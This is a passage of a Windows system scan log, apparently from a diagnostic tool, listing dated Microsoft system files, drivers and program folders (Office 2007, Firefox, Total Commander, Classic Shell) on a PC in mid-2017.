2017-05-30 11:06 - 2017-05-20 08:01 - 00409600 _____ (Microsoft Corporation) C:\windows\system32\updatehandlers.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00408064 _____ (Microsoft Corporation) C:\windows\system32\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00299520 _____ (Microsoft Corporation) C:\windows\system32\AboveLockAppHost.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\embeddedmodesvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01078272 _____ (Microsoft Corporation) C:\windows\system32\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01067008 _____ (Microsoft Corporation) C:\windows\system32\XboxNetApiSvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00925696 _____ (Microsoft Corporation) C:\windows\system32\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00846848 _____ (Microsoft Corporation) C:\windows\system32\bisrv.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00417792 _____ (Microsoft Corporation) C:\windows\system32\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 08:00 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\cldapi.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01818624 _____ (Microsoft Corporation) C:\windows\system32\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01468416 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.desktop.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01260544 _____ (Microsoft Corporation) C:\windows\system32\GamePanel.exe
2017-05-30 11:06 - 2017-05-20 07:59 - 01141760 _____ (Microsoft Corporation) C:\windows\system32\MapsStore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01028608 _____ (Microsoft Corporation) C:\windows\system32\modernexecserver.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00972800 _____ (Microsoft Corporation) C:\windows\system32\sysmain.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00687104 _____ (Microsoft Corporation) C:\windows\system32\LogonController.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00585216 _____ (Microsoft Corporation) C:\windows\system32\AppReadiness.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 08244736 _____ (Microsoft Corporation) C:\windows\system32\Chakra.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03784704 _____ (Microsoft Corporation) C:\windows\system32\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03135488 _____ (Microsoft Corporation) C:\windows\system32\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01886208 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.onecore.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01046016 _____ (Microsoft Corporation) C:\windows\system32\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00909824 _____ (Microsoft Corporation) C:\windows\system32\ISM.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00374784 _____ (Microsoft Corporation) C:\windows\system32\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 07:57 - 12787200 _____ (Microsoft Corporation) C:\windows\system32\ieframe.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 02801664 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentServer.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 00681984 _____ (Microsoft Corporation) C:\windows\system32\usocore.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02730496 _____ (Microsoft Corporation) C:\windows\system32\smartscreen.exe
2017-05-30 11:06 - 2017-05-20 07:56 - 02624512 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Logon.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02056192 _____ (Microsoft Corporation) C:\windows\system32\win32kbase.sys
2017-05-30 11:06 - 2017-05-20 07:56 - 01076736 _____ (Microsoft Corporation) C:\windows\system32\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 04396032 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 03332096 _____ (Microsoft Corporation) C:\windows\system32\SRH.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 02499584 _____ (Microsoft Corporation) C:\windows\system32\twinui.pcshell.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01293824 _____ (Microsoft Corporation) C:\windows\system32\aadtb.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01102848 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 05557760 _____ (Microsoft Corporation) C:\windows\system32\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04707840 _____ (Microsoft Corporation) C:\windows\system32\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04537344 _____ (Microsoft Corporation) C:\windows\system32\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 03803136 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsThresholdAdminFlowUI.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02938880 _____ (Microsoft Corporation) C:\windows\system32\InputService.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02651136 _____ (Microsoft Corporation) C:\windows\system32\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02516480 _____ (Microsoft Corporation) C:\windows\system32\diagtrack.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 01275904 _____ (Microsoft Corporation) C:\windows\system32\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 01356800 _____ (Microsoft Corporation) C:\windows\system32\audiosrv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00624640 _____ (Microsoft Corporation) C:\windows\system32\AudioEndpointBuilder.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00557568 _____ (Microsoft Corporation) C:\windows\system32\wpnprv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00476160 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Core.TextInput.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 01706496 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 00148480 _____ (Microsoft Corporation) C:\windows\system32\umpo.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00439808 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\NPSM.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 02438656 _____ (Microsoft Corporation) C:\windows\system32\ResetEngine.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\vss_ps.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00641536 _____ (Microsoft Corporation) C:\windows\system32\rdbui.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00199680 _____ (Microsoft Corporation) C:\windows\system32\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00064512 _____ (Microsoft Corporation) C:\windows\bfsvc.exe
2017-05-30 10:01 - 2017-05-30 10:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Live Add-in
2017-05-30 09:55 - 2017-06-04 00:38 - 00000000 ____D C:\Users\****\AppData\Local\CrashDumps
2017-05-30 09:55 - 2017-05-30 09:55 - 00000000 ____D C:\Users\****\AppData\Local\DBG
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help
2017-05-30 09:42 - 2017-05-30 09:42 - 00002811 _____ C:\Users\****\Desktop\Microsoft Office Outlook 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002739 _____ C:\Users\****\Desktop\Microsoft Office PowerPoint 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002719 _____ C:\Users\****\Desktop\Microsoft Office Excel 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002713 _____ C:\Users\****\Desktop\Microsoft Office Word 2007.lnk
2017-05-30 09:40 - 2017-05-30 09:41 - 00000000 ____D C:\Program Files (x86)\Microsoft Works
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\windows\PCHEALTH
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio
2017-05-30 09:39 - 2017-05-30 10:01 - 00000000 ____D C:\Program Files (x86)\Microsoft Office
2017-05-30 09:39 - 2017-05-30 09:40 - 00000000 ____D C:\windows\SHELLNEW
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 __RHD C:\MSOCache
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Users\****\AppData\Local\Microsoft Help
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Program Files\Microsoft Office
2017-05-30 09:37 - 2017-05-30 09:46 - 00000000 ____D C:\Program Files\totalcmd
2017-05-30 09:37 - 2017-05-30 09:37 - 00000900 _____ C:\Users\****\Desktop\Total Commander.lnk
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Total Commander
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\GHISLER
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Local\GHISLER
2017-05-30 09:32 - 2017-06-08 14:26 - 00000000 ____D C:\Users\****\AppData\LocalLow\Mozilla
2017-05-30 09:32 - 2017-06-03 00:24 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-05-30 09:32 - 2017-06-03 00:08 - 00001136 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-06-03 00:08 - 00001124 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-05-30 20:35 - 00000000 ____D C:\Users\****\AppData\Local\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Users\****\AppData\Roaming\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 09:31 - 2017-05-30 09:31 - 00000000 ____D C:\Users\****\AppData\Local\MicrosoftEdge
2017-05-30 09:29 - 2017-06-08 00:05 - 00000000 ____D C:\Users\****\AppData\Local\ClassicShell
2017-05-30 09:29 - 2017-05-30 09:29 - 00000000 ____D C:\Users\****\AppData\Roaming\ClassicShell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Classic Shell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\Program Files\Classic Shell
2017-05-30 08:01 - 2017-04-28 03:38 - 01411128 _____ (Microsoft Corporation) C:\windows\SysWOW64\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:19 - 01839872 _____ (Microsoft Corporation) C:\windows\SysWOW64\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:16 - 00599576 _____ (Microsoft Corporation) C:\windows\SysWOW64\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:12 - 01604312 _____ (Microsoft Corporation) C:\windows\system32\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:11 - 02158544 _____ (Microsoft Corporation) C:\windows\SysWOW64\iertutil.dll
2017-05-30 08:01 - 2017-04-28 03:09 - 01557288 _____ (Microsoft Corporation) C:\windows\SysWOW64\crypt32.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02399728 _____ (Microsoft Corporation) C:\windows\system32\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:08 - 02330520 _____ (Microsoft Corporation) C:\windows\SysWOW64\combase.dll
2017-05-30 08:01 - 2017-04-28 03:07 - 00988168 _____ (Microsoft Corporation) C:\windows\SysWOW64\ole32.dll
2017-05-30 08:01 - 2017-04-28 03:06 - 00708712 _____ (Microsoft Corporation) C:\windows\system32\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:03 - 00667040 _____ (Microsoft Corporation) C:\windows\system32\ci.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 02635336 _____ (Microsoft Corporation) C:\windows\system32\iertutil.dll
2017-05-30 08:01 - 2017-04-28 02:59 - 00388000 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBXHCI.SYS
2017-05-30 08:01 - 2017-04-28 02:59 - 00027040 _____ (Microsoft Corporation) C:\windows\system32\browser_broker.exe
2017-05-30 08:01 - 2017-04-28 02:58 - 01852776 _____ (Microsoft Corporation) C:\windows\system32\crypt32.dll
2017-05-30 08:01 - 2017-04-28 02:57 - 03116184 _____ (Microsoft Corporation) C:\windows\system32\combase.dll
2017-05-30 08:01 - 2017-04-28 02:55 - 01325456 _____ (Microsoft Corporation) C:\windows\system32\ole32.dll
2017-05-30 08:01 - 2017-04-28 02:52 - 02957824 _____ (Microsoft Corporation) C:\windows\SysWOW64\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:52 - 00790528 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:49 - 00072192 _____ (Microsoft Corporation) C:\windows\SysWOW64\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:44 - 00266240 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:40 - 00799232 _____ (Microsoft Corporation) C:\windows\SysWOW64\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 03655680 _____ (Microsoft Corporation) C:\windows\SysWOW64\jscript9.dll
2017-05-30 08:01 - 2017-04-28 02:39 - 02859520 _____ (Microsoft Corporation) C:\windows\SysWOW64\wininet.dll
2017-05-30 08:01 - 2017-04-28 02:37 - 01626624 _____ (Microsoft Corporation) C:\windows\SysWOW64\urlmon.dll
2017-05-30 08:01 - 2017-04-28 02:34 - 00891904 _____ (Microsoft Corporation) C:\windows\SysWOW64\autochk.exe
2017-05-30 08:01 - 2017-04-28 02:15 - 03672064 _____ (Microsoft Corporation) C:\windows\system32\win32kfull.sys
2017-05-30 08:01 - 2017-04-28 02:15 - 01051648 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.dll
2017-05-30 08:01 - 2017-04-28 02:11 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\tdc.ocx
2017-05-30 08:01 - 2017-04-28 02:11 - 00035840 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BasicRender.sys
2017-05-30 08:01 - 2017-04-28 02:08 - 00314880 _____ (Microsoft Corporation) C:\windows\system32\SettingsEnvironment.Desktop.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 01302528 _____ (Microsoft Corporation) C:\windows\system32\MSVPXENC.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00386560 _____ (Microsoft Corporation) C:\windows\system32\iedkcs32.dll
2017-05-30 08:01 - 2017-04-28 02:06 - 00274944 _____ (Microsoft Corporation) C:\windows\system32\dxtrans.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 01085440 _____ (Microsoft Corporation) C:\windows\system32\rpcss.dll
2017-05-30 08:01 - 2017-04-28 02:03 - 00751104 _____ (Microsoft Corporation) C:\windows\system32\msfeeds.dll
2017-05-30 08:01 - 2017-04-28 02:01 - 02077184 _____ (Microsoft Corporation) C:\windows\system32\inetcpl.cpl
2017-05-30 08:01 - 2017-04-28 01:59 - 03307008 _____ (Microsoft Corporation) C:\windows\system32\wininet.dll
2017-05-30 08:01 - 2017-04-28 01:58 - 01054208 _____ (Microsoft Corporation) C:\windows\system32\TokenBroker.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 04730368 _____ (Microsoft Corporation) C:\windows\system32\jscript9.dll
2017-05-30 08:01 - 2017-04-28 01:57 - 01803264 _____ (Microsoft Corporation) C:\windows\system32\urlmon.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00985600 _____ (Microsoft Corporation) C:\windows\system32\TSWorkspace.dll
2017-05-30 08:01 - 2017-04-28 01:54 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\autochk.exe
2017-05-30 08:01 - 2017-04-28 01:54 - 00722944 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv2.sys
2017-05-30 08:01 - 2017-04-28 01:54 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srv.sys
2017-05-30 08:01 - 2017-04-19 09:06 - 00651680 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 09:04 - 00142240 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wcifs.sys
2017-05-30 08:01 - 2017-04-19 09:02 - 00716440 _____ (Microsoft Corporation) C:\windows\system32\MSVideoDSP.dll
2017-05-30 08:01 - 2017-04-19 08:19 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\musdialoghandlers.dll
2017-05-30 08:01 - 2017-04-19 08:18 - 00118784 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netvsc.sys
2017-05-30 08:01 - 2017-04-19 08:16 - 00280064 _____ (Microsoft Corporation) C:\windows\system32\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 08:15 - 00232960 _____ (Microsoft Corporation) C:\windows\system32\wcmcsp.dll
2017-05-30 08:01 - 2017-04-19 08:14 - 00646656 _____ (Microsoft Corporation) C:\windows\system32\LockHostingFramework.dll
2017-05-30 08:01 - 2017-04-19 08:13 - 00980992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthport.sys
2017-05-30 08:01 - 2017-04-19 08:12 - 00805888 _____ (Microsoft Corporation) C:\windows\system32\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 08:12 - 00203776 _____ (Microsoft Corporation) C:\windows\system32\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 08:11 - 04446208 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_nt.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 04175872 _____ (Microsoft Corporation) C:\windows\system32\StartTileData.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 02765824 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.UnifiedTile.CuratedTileCollections.dll
2017-05-30 08:01 - 2017-04-19 08:10 - 01600512 _____ (Microsoft Corporation) C:\windows\system32\dbghelp.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 01242624 _____ (Microsoft Corporation) C:\windows\system32\SharedStartModel.dll
2017-05-30 08:01 - 2017-04-19 08:07 - 00707072 _____ (Microsoft Corporation) C:\windows\system32\winlogon.exe
2017-05-30 08:01 - 2017-04-19 08:02 - 00559000 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncHost.exe
2017-05-30 08:01 - 2017-04-19 07:59 - 01087488 _____ (Microsoft Corporation) C:\windows\system32\reseteng.dll
2017-05-30 08:01 - 2017-04-19 07:37 - 00233472 _____ (Microsoft Corporation) C:\windows\SysWOW64\WiFiDisplay.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00358400 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieproxy.dll
2017-05-30 08:01 - 2017-04-19 07:34 - 00175616 _____ (Microsoft Corporation) C:\windows\SysWOW64\PackageStateRoaming.dll
2017-05-30 08:01 - 2017-04-19 07:32 - 01285120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbghelp.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00741784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Shell.Broker.dll
2017-05-30 08:01 - 2017-04-14 02:35 - 00673112 _____ (Microsoft Corporation) C:\windows\system32\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 02:33 - 02085280 _____ (Microsoft Corporation) C:\windows\system32\UpdateAgent.dll
2017-05-30 08:01 - 2017-04-14 02:32 - 01320352 _____ (Microsoft Corporation) C:\windows\system32\wpx.dll
2017-05-30 08:01 - 2017-04-14 02:30 - 00105456 _____ (Microsoft Corporation) C:\windows\system32\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:43 - 00523296 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppResolver.dll
2017-05-30 08:01 - 2017-04-14 01:40 - 00095584 _____ (Microsoft Corporation) C:\windows\SysWOW64\imagehlp.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00974848 _____ (Microsoft Corporation) C:\windows\system32\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:39 - 00334336 _____ (Microsoft Corporation) C:\windows\system32\wc_storage.dll
2017-05-30 08:01 - 2017-04-14 01:39 - 00155136 _____ (Microsoft Corporation) C:\windows\system32\VEStoreEventHandlers.dll
2017-05-30 08:01 - 2017-04-14 01:38 - 00208896 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.AppDefaults.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00450048 _____ (Microsoft Corporation) C:\windows\system32\bcdedit.exe
2017-05-30 08:01 - 2017-04-14 01:37 - 00301056 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseAppMgmtSvc.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\domgmt.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00524800 _____ (Microsoft Corporation) C:\windows\system32\TileDataRepository.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00296448 _____ (Microsoft Corporation) C:\windows\system32\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 01433600 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.Handlers.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 00510976 _____ (Microsoft Corporation) C:\windows\system32\TDLMigration.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 01269760 _____ (Microsoft Corporation) C:\windows\system32\enterprisecsps.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 00864256 _____ (Microsoft Corporation) C:\windows\system32\NotificationController.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 01611776 _____ (Microsoft Corporation) C:\windows\system32\SpeechPal.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 00673280 _____ (Microsoft Corporation) C:\windows\system32\LockAppBroker.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01583616 _____ (Microsoft Corporation) C:\windows\system32\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01295872 _____ (Microsoft Corporation) C:\windows\system32\dosvc.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00840192 _____ (Microsoft Corporation) C:\windows\system32\fveapi.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00647168 _____ (Microsoft Corporation) C:\windows\system32\RDXService.dll
2017-05-30 08:01 - 2017-04-14 01:28 - 02443776 _____ (Microsoft Corporation) C:\windows\system32\wuaueng.dll
2017-05-30 08:01 - 2017-04-14 01:26 - 01257472 _____ (Microsoft Corporation) C:\windows\system32\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:24 - 01628160 _____ (Microsoft Corporation) C:\windows\system32\comsvcs.dll
2017-05-30 08:01 - 2017-04-14 01:21 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\offreg.dll
2017-05-30 08:01 - 2017-04-14 01:18 - 00731136 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:15 - 00282112 _____ (Microsoft Corporation) C:\windows\SysWOW64\VEEventDispatcher.dll
2017-05-30 08:01 - 2017-04-14 01:15 - 00232448 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:08 - 01463296 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:06 - 00987648 _____ (Microsoft Corporation) C:\windows\SysWOW64\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:04 - 00392704 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToManager.dll
2017-05-30 08:01 - 2017-04-14 01:01 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\offreg.dll
2017-05-30 08:01 - 2017-04-01 03:04 - 00382368 _____ (Adobe Systems Incorporated) C:\windows\system32\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:57 - 00311192 _____ (Adobe Systems Incorporated) C:\windows\SysWOW64\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:52 - 00409504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms1.sys
2017-05-30 08:01 - 2017-04-01 02:51 - 01760264 _____ (Microsoft Corporation) C:\windows\system32\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:29 - 01518088 _____ (Microsoft Corporation) C:\windows\SysWOW64\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:28 - 00354360 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcryptprimitives.dll
2017-05-30 08:01 - 2017-04-01 02:09 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00364032 _____ (Microsoft Corporation) C:\windows\SysWOW64\msIso.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 01506816 _____ (Microsoft Corporation) C:\windows\SysWOW64\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 00433664 _____ (Microsoft Corporation) C:\windows\system32\msIso.dll
2017-05-30 08:01 - 2017-04-01 01:55 - 00545792 _____ (Microsoft Corporation) C:\windows\system32\winspool.drv
2017-05-30 08:01 - 2017-04-01 01:52 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:52 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\asycfilt.dll
2017-05-30 08:01 - 2017-04-01 01:50 - 01605632 _____ (Microsoft Corporation) C:\windows\system32\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:45 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:44 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\asycfilt.dll
2017-05-30 08:01 - 2017-03-31 23:00 - 00032004 _____ C:\windows\system32\edgehtmlpluginpolicy.bin
2017-05-30 08:00 - 2017-04-28 02:46 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:46 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:45 - 00124928 _____ (Microsoft Corporation) C:\windows\SysWOW64\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:44 - 00338432 _____ (Microsoft Corporation) C:\windows\SysWOW64\iedkcs32.dll
2017-05-30 08:00 - 2017-04-28 02:42 - 00663040 _____ (Microsoft Corporation) C:\windows\SysWOW64\msfeeds.dll
2017-05-30 08:00 - 2017-04-28 02:40 - 02008576 _____ (Microsoft Corporation) C:\windows\SysWOW64\inetcpl.cpl
2017-05-30 08:00 - 2017-04-28 02:09 - 00084992 _____ (Microsoft Corporation) C:\windows\system32\MshtmlDac.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00457728 _____ (Microsoft Corporation) C:\windows\system32\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:07 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:05 - 00224256 _____ (Microsoft Corporation) C:\windows\system32\ie4uinit.exe
2017-05-30 08:00 - 2017-04-28 02:04 - 00422400 _____ (Microsoft Corporation) C:\windows\system32\WpAXHolder.dll
2017-05-30 08:00 - 2017-04-28 01:52 - 00218624 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Streaming.ps.dll
2017-05-30 08:00 - 2017-04-19 08:01 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\catsrvps.dll
2017-05-30 08:00 - 2017-04-14 01:41 - 00164864 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseModernAppMgmtCSP.dll
2017-05-30 08:00 - 2017-04-14 01:38 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.Preview.dll
2017-05-30 08:00 - 2017-04-14 01:37 - 00315392 _____ (Microsoft Corporation) C:\windows\system32\NotificationObjFactory.dll
2017-05-30 08:00 - 2017-04-14 01:35 - 00257024 _____ (Microsoft Corporation) C:\windows\system32\webcheck.dll
2017-05-30 08:00 - 2017-04-14 01:34 - 00406528 _____ (Microsoft Corporation) C:\windows\system32\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:25 - 00750080 _____ (Microsoft Corporation) C:\windows\system32\StorSvc.dll
